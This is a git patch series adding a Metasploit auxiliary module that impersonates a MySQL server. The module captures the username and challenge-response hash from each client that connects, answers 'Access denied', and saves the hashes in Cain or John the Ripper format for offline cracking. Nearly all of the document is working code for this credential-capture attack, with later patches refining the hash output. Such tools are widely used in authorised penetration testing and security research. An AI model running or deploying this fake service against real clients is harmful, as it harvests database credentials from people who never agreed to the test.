From 6331c33472e80ba185e4a0769b90ead3282270be Mon Sep 17 00:00:00 2001 From: Patrik Karlsson Date: Mon, 16 Jul 2012 01:55:22 +0200 Subject: [PATCH 1/5] add MySQL password capturing module This module provides a fake MySQL service that is designed to capture authentication credentials. It captures challenge and response pairs that can be supplied to Cain or JTR for cracking. --- modules/auxiliary/server/capture/mysql.rb | 195 ++++++++++++++++++++++ 1 file changed, 195 insertions(+) create mode 100644 modules/auxiliary/server/capture/mysql.rb diff --git a/modules/auxiliary/server/capture/mysql.rb b/modules/auxiliary/server/capture/mysql.rb new file mode 100644 index 0000000000..7f11a628a2 --- /dev/null +++ b/modules/auxiliary/server/capture/mysql.rb @@ -0,0 +1,195 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::TcpServer + include Msf::Auxiliary::Report + + def initialize + super( + 'Name' => 'Authentication Capture: MySQL', + 'Version' => '$Revision$', + 'Description' => %q{ + This module provides a fake MySQL service that is designed to + capture authentication credentials. It captures challenge and + response pairs that can be supplied to Cain or JTR for + cracking. + }, + 'Author' => 'Patrik Karlsson patrik[at]cqure.net', + 'License' => MSF_LICENSE, + 'Actions' => [ [ 'Capture' ] ], + 'PassiveActions' => [ 'Capture' ], + 'DefaultAction' => 'Capture' + ) + + register_options( + [ + OptPort.new('SRVPORT', [ true, "The local port to listen on.", 3306 ]), + OptString.new('CHALLENGE', [ true, "The 16 byte challenge", "112233445566778899AABBCCDDEEFF1122334455" ]), + OptString.new("SRVVERSION", [ true, "The server version to report in the greeting response", "5.5.16" ]), + # There's currenlty no "official" JTR module for cracking MySQL challenge + responses + # I've created one that can be downloaded from here: + # https://raw.github.com/nevdull77/magnum-jumbo/magnum-jumbo/src/mysqlSHA1chall_fmt_plug.c + OptString.new('JOHNPWFILE', [ false, "The prefix to the local filename to store the hashes in JOHN format", nil ]), + OptString.new('CAINPWFILE', [ false, "The local filename to store the hashes in Cain&Abel format", nil ]), + ], self.class) + end + + def setup + super + @state = {} + end + + def run + if datastore['CHALLENGE'].to_s =~ /^([a-fA-F1-9]{40})$/ + @challenge = [ datastore['CHALLENGE'] ].pack("H*") + else + print_error("CHALLENGE syntax must match 112233445566778899AABBCCDDEEFF1122334455") + return + end + @version = datastore['SRVVERSION'] + exploit() + end + + def on_client_connect(c) + @state[c] = { + :name => "#{c.peerhost}:#{c.peerport}", + :ip => c.peerhost, + :port => c.peerport, + } + mysql_send_greeting(c) + end + + def mysql_send_greeting(c) + # http://forge.mysql.com/wiki/MySQL_Internals_ClientServer_Protocol#Handshake_Initialization_Packet + + length = 68 + @version.length + packetno = 0 + chall = String.new(@challenge) + data = [ + ( length & 0x00FFFFFF ) + ( packetno << 24 ), # length + packet no + 10, # protocol version: 10 + @version, # server version: 5.5.16 (unless changed) + rand(1..10000), # thread id + chall.slice!(0,8), # the first 8 bytes of the challenge + 0x00, # filler + 0xfff7, # server capabilities + 0x21, # server language: UTF8 + 0x0002, # server status + "0f801500000000000000000000", # filler + chall.slice!(0,12), + "mysql_native_password" + ].pack("VCZ*VA*CnCvH*Z*Z*") + c.put data + end + + def mysql_process_login(data, info) + length = ( data.slice(0,4).unpack("V")[0] & 0x00FFFFFF ) + packetno = ( data.slice!(0,4).unpack("V")[0] & 0xFF000000 ) >> 24 + flags = data.slice!(0,2).unpack("v")[0] + if ( flags & 0x8000 ) != 0x8000 + info[:errors] << "Unsupported protocol detected" + return info + end + + # we're dealing with the 4.1+ protocol + extflags = data.slice!(0,2).unpack("v")[0] + maxpacket= data.slice!(0,4).unpack("N")[0] + charset = data.slice!(0,1).unpack("C")[0] + + # slice away 23 bytes of filler + data.slice!(0,23) + + info[:username] = data.slice!(0, data.index("\x00")+1).unpack("Z*")[0] + response_len = data.slice!(0,1).unpack("C")[0] + if response_len != 20 + return + end + info[:response] = data.slice!(0, 20).unpack("A*")[0] + + if ( flags & 0x0008 ) == 0x0008 + info[:database] = data.slice!(0, data.index("\x00")).unpack("A*")[0] + end + info + end + + def mysql_send_error(c, msg) + length = 9 + msg.length + packetno = 2 + data = [ + ( length & 0x00FFFFFF ) + ( packetno << 24 ), # length + packet no + 0xFF, # field count, always: ff + 1045, # error code + 0x23, # sqlstate marker, always '#' + "28000", # sqlstate + msg + ].pack("VCvCA*A*") + c.put data + end + + def on_client_data(c) + info = { :errors => [] } + data = c.get_once + return if not data + + mysql_process_login(data, info) + if info[:errors] and not info[:errors].empty? + print_error("#{info[:errors].join("\n")}") + elsif info[:username] and info[:response] + mysql_send_error(c, "Access denied for user '#{info[:username]}'@'#{c.peerhost}' (using password: YES)") + if info[:database] + print_status("MYSQL LOGIN: User: #{info[:username]}; Challenge: #{@challenge.unpack('H*')[0]}; Response: #{info[:response].unpack('H*')[0]}; Database: #{info[:database]}") + else + print_status("MYSQL LOGIN: User: #{info[:username]}; Challenge: #{@challenge.unpack('H*')[0]}; Response: #{info[:response].unpack('H*')[0]}") + end + hash_line = "$mysql$#{@challenge.unpack("H*")[0]}$#{info[:response].unpack('H*')[0]}" + report_auth_info( + :host => c.peerhost, + :port => datastore['SRVPORT'], + :sname => 'mysql_client', + :user => "", + :pass => hash_line, + :type => "mysql_hash", + :proof => info[:database] ? info[:database] : hash_line, + :source_type => "captured", + :active => true + ) + + if(datastore['JOHNPWFILE']) + fd = File.open(datastore['JOHNPWFILE'] + '_mysql' , "ab") + fd.puts hash_line + fd.close + elsif (datastore['CAINPWFILE']) + fd = File.open(datastore['CAINPWFILE'], "ab") + fd.puts( + [ + info[:username], + "NULL", + info[:response].unpack('H*')[0], + @challenge.unpack('H*')[0], + "SHA1" + ].join("\t").gsub(/\n/, "\\n") + ) + fd.close + end + else + mysql_send_error(c, "Access denied for user '#{info[:username]}'@'#{c.peerhost}' (using password: NO)") + end + c.close + end + + def on_client_close(c) + @state.delete(c) + end +end From 8889d89eea33f3078fbd40aeed22f5e1930d158e Mon Sep 17 00:00:00 2001 From: Patrik Karlsson Date: Mon, 16 Jul 2012 02:07:45 +0200 Subject: [PATCH 2/5] msftidy cleanup --- modules/auxiliary/server/capture/mysql.rb | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/modules/auxiliary/server/capture/mysql.rb b/modules/auxiliary/server/capture/mysql.rb index 7f11a628a2..bbfe9b5b61 100644 --- a/modules/auxiliary/server/capture/mysql.rb +++ b/modules/auxiliary/server/capture/mysql.rb @@ -70,7 +70,7 @@ class Metasploit3 < Msf::Auxiliary } mysql_send_greeting(c) end - + def mysql_send_greeting(c) # http://forge.mysql.com/wiki/MySQL_Internals_ClientServer_Protocol#Handshake_Initialization_Packet @@ -79,7 +79,7 @@ class Metasploit3 < Msf::Auxiliary chall = String.new(@challenge) data = [ ( length & 0x00FFFFFF ) + ( packetno << 24 ), # length + packet no - 10, # protocol version: 10 + 10, # protocol version: 10e @version, # server version: 5.5.16 (unless changed) rand(1..10000), # thread id chall.slice!(0,8), # the first 8 bytes of the challenge @@ -93,7 +93,7 @@ class Metasploit3 < Msf::Auxiliary ].pack("VCZ*VA*CnCvH*Z*Z*") c.put data end - + def mysql_process_login(data, info) length = ( data.slice(0,4).unpack("V")[0] & 0x00FFFFFF ) packetno = ( data.slice!(0,4).unpack("V")[0] & 0xFF000000 ) >> 24 @@ -102,28 +102,28 @@ class Metasploit3 < Msf::Auxiliary info[:errors] << "Unsupported protocol detected" return info end - + # we're dealing with the 4.1+ protocol extflags = data.slice!(0,2).unpack("v")[0] maxpacket= data.slice!(0,4).unpack("N")[0] charset = data.slice!(0,1).unpack("C")[0] - + # slice away 23 bytes of filler data.slice!(0,23) - + info[:username] = data.slice!(0, data.index("\x00")+1).unpack("Z*")[0] response_len = data.slice!(0,1).unpack("C")[0] if response_len != 20 return end info[:response] = data.slice!(0, 20).unpack("A*")[0] - + if ( flags & 0x0008 ) == 0x0008 info[:database] = data.slice!(0, data.index("\x00")).unpack("A*")[0] end info end - + def mysql_send_error(c, msg) length = 9 + msg.length packetno = 2 @@ -142,7 +142,7 @@ class Metasploit3 < Msf::Auxiliary info = { :errors => [] } data = c.get_once return if not data - + mysql_process_login(data, info) if info[:errors] and not info[:errors].empty? print_error("#{info[:errors].join("\n")}") From 4859e0809e4de315c4247de28920f1a7da3d93f4 Mon Sep 17 00:00:00 2001 From: Patrik Karlsson Date: Mon, 16 Jul 2012 09:14:44 +0200 Subject: [PATCH 3/5] add missing username to john hash --- modules/auxiliary/server/capture/mysql.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/server/capture/mysql.rb b/modules/auxiliary/server/capture/mysql.rb index bbfe9b5b61..80797ab00f 100644 --- a/modules/auxiliary/server/capture/mysql.rb +++ b/modules/auxiliary/server/capture/mysql.rb @@ -153,7 +153,7 @@ class Metasploit3 < Msf::Auxiliary else print_status("MYSQL LOGIN: User: #{info[:username]}; Challenge: #{@challenge.unpack('H*')[0]}; Response: #{info[:response].unpack('H*')[0]}") end - hash_line = "$mysql$#{@challenge.unpack("H*")[0]}$#{info[:response].unpack('H*')[0]}" + hash_line = "#{info[:username]}:$mysql$#{@challenge.unpack("H*")[0]}$#{info[:response].unpack('H*')[0]}" report_auth_info( :host => c.peerhost, :port => datastore['SRVPORT'], From 25a78e6ab0fbfbf889b03569b1179a5110fd2c2f Mon Sep 17 00:00:00 2001 From: Patrik Karlsson Date: Mon, 16 Jul 2012 14:13:35 +0200 Subject: [PATCH 4/5] change so that both Cain and JTR hashes can be stored at the same time and added username report_auth_info --- modules/auxiliary/server/capture/mysql.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/server/capture/mysql.rb b/modules/auxiliary/server/capture/mysql.rb index 80797ab00f..394fe04aa7 100644 --- a/modules/auxiliary/server/capture/mysql.rb +++ b/modules/auxiliary/server/capture/mysql.rb @@ -158,7 +158,7 @@ class Metasploit3 < Msf::Auxiliary :host => c.peerhost, :port => datastore['SRVPORT'], :sname => 'mysql_client', - :user => "", + :user => info[:username], :pass => hash_line, :type => "mysql_hash", :proof => info[:database] ? info[:database] : hash_line, @@ -170,7 +170,8 @@ class Metasploit3 < Msf::Auxiliary fd = File.open(datastore['JOHNPWFILE'] + '_mysql' , "ab") fd.puts hash_line fd.close - elsif (datastore['CAINPWFILE']) + end + if (datastore['CAINPWFILE']) fd = File.open(datastore['CAINPWFILE'], "ab") fd.puts( [ From 88275620abca390a565ccd37454dd758f6393023 Mon Sep 17 00:00:00 2001 From: Patrik Karlsson Date: Mon, 16 Jul 2012 15:59:43 +0200 Subject: [PATCH 5/5] removed JtR support due to bugs in cracking module. --- modules/auxiliary/server/capture/mysql.rb | 12 +----------- 1 file changed, 1 insertion(+), 11 deletions(-) diff --git a/modules/auxiliary/server/capture/mysql.rb b/modules/auxiliary/server/capture/mysql.rb index 394fe04aa7..7818ddac65 100644 --- a/modules/auxiliary/server/capture/mysql.rb +++ b/modules/auxiliary/server/capture/mysql.rb @@ -23,8 +23,7 @@ class Metasploit3 < Msf::Auxiliary 'Description' => %q{ This module provides a fake MySQL service that is designed to capture authentication credentials. It captures challenge and - response pairs that can be supplied to Cain or JTR for - cracking. + response pairs that can be supplied to Cain for cracking. }, 'Author' => 'Patrik Karlsson patrik[at]cqure.net', 'License' => MSF_LICENSE, @@ -38,10 +37,6 @@ class Metasploit3 < Msf::Auxiliary OptPort.new('SRVPORT', [ true, "The local port to listen on.", 3306 ]), OptString.new('CHALLENGE', [ true, "The 16 byte challenge", "112233445566778899AABBCCDDEEFF1122334455" ]), OptString.new("SRVVERSION", [ true, "The server version to report in the greeting response", "5.5.16" ]), - # There's currenlty no "official" JTR module for cracking MySQL challenge + responses - # I've created one that can be downloaded from here: - # https://raw.github.com/nevdull77/magnum-jumbo/magnum-jumbo/src/mysqlSHA1chall_fmt_plug.c - OptString.new('JOHNPWFILE', [ false, "The prefix to the local filename to store the hashes in JOHN format", nil ]), OptString.new('CAINPWFILE', [ false, "The local filename to store the hashes in Cain&Abel format", nil ]), ], self.class) end @@ -166,11 +161,6 @@ class Metasploit3 < Msf::Auxiliary :active => true ) - if(datastore['JOHNPWFILE']) - fd = File.open(datastore['JOHNPWFILE'] + '_mysql' , "ab") - fd.puts hash_line - fd.close - end if (datastore['CAINPWFILE']) fd = File.open(datastore['CAINPWFILE'], "ab") fd.puts(